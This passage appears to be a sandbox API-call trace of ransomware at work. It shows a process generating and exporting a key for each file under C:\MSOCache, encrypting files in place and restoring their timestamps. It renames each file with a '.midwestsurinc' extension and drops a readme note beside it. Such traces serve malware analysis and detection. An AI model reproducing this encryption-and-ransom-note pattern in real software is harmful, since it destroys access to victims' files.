ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648)) returned 1 [0085.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0085.650] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0085.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0085.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0085.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0085.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0085.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0085.650] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc8a9170, dwHighDateTime=0x1d301be)) returned 1 [0085.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0085.650] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0085.650] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0085.650] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0085.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0085.651] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0085.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0085.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0085.651] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0085.651] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0085.651] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x680) returned 0x10733c0 [0085.651] ReadFile (in: hFile=0x2e8, lpBuffer=0x10733c0, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10733c0*, lpNumberOfBytesRead=0x174fb28*=0x648, lpOverlapped=0x0) returned 1 [0085.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x680) returned 0xfa35b0 [0085.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0085.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x680) returned 0x10733c0 [0085.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0085.653] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa35b0) returned 1 [0085.653] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa80) returned 0x184fc80 [0085.654] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x648, dwBufLen=0xa48 | out: pbData=0x184fc80*, pdwDataLen=0x174fb24*=0x650) returned 1 [0085.654] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184fc80) returned 1 [0085.654] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0085.654] WriteFile (in: hFile=0x2e8, lpBuffer=0x10733c0*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x10733c0*, lpNumberOfBytesWritten=0x174fb28*=0x648, lpOverlapped=0x0) returned 1 [0085.654] FlushFileBuffers (hFile=0x2e8) returned 1 [0085.657] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0085.657] NtClose (Handle=0x2e8) returned 0x0 [0085.658] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc")) returned 1 [0085.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0085.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0085.658] GetLastError () returned 0x2 [0085.658] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf860b0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0085.658] GetLastError () returned 0x2 [0085.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0085.659] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0085.659] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xf) returned 0xf7d630 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0085.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0085.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0085.660] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0085.660] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0085.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0085.661] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0085.661] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2ed, lpOverlapped=0x0) returned 1 [0085.661] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x52633070, dwHighDateTime=0x1d5dff7)) returned 1 [0085.661] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0085.661] NtClose (Handle=0x2e8) returned 0x0 [0085.662] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0085.662] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0085.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0085.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0085.662] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0085.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0085.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0085.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0085.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0085.664] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0085.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0085.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0085.664] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0085.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0085.664] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0085.664] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0085.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0085.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0085.665] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc)) returned 1 [0085.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0085.665] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0085.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0085.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0085.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0085.665] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0085.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0085.665] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xeebe0180, dwHighDateTime=0x1d301be)) returned 1 [0085.665] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0085.666] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0085.666] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0085.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0085.666] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0085.666] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0085.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0085.666] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0085.666] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0085.666] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0085.667] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0085.667] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0086.006] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0086.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0086.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0086.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0086.263] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0086.305] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0086.389] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0086.389] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0086.502] FlushFileBuffers (hFile=0x2e8) returned 1 [0086.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0086.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x422000) returned 0x2960020 [0086.530] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0x421fcc, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0x421fcc, lpOverlapped=0x0) returned 1 [0086.633] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x422000) returned 0x2d90020 [0086.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0086.696] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2d90020) returned 1 [0086.714] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x422400) returned 0x2960020 [0086.756] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0x421fcc, dwBufLen=0x4223cc | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0x421fd0) returned 1 [0086.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0086.810] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0086.810] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x421fcc, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x421fcc, lpOverlapped=0x0) returned 1 [0086.861] FlushFileBuffers (hFile=0x2e8) returned 1 [0086.871] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0086.872] NtClose (Handle=0x2e8) returned 0x0 [0087.423] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.midwestsurinc")) returned 1 [0087.424] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0087.424] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0087.424] GetLastError () returned 0x2 [0087.424] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf860d0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0087.424] GetLastError () returned 0x2 [0087.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0087.425] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0087.425] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0087.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0087.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0087.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0087.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0087.426] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0087.426] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2e9, lpOverlapped=0x0) returned 1 [0087.427] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x536b6910, dwHighDateTime=0x1d5dff7)) returned 1 [0087.427] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0087.427] NtClose (Handle=0x2e8) returned 0x0 [0087.428] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0087.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0087.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0087.428] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0087.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0087.473] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0087.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0087.474] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00)) returned 1 [0087.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0087.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0087.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0087.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0087.474] GetDiskFreeSpaceExW (in: 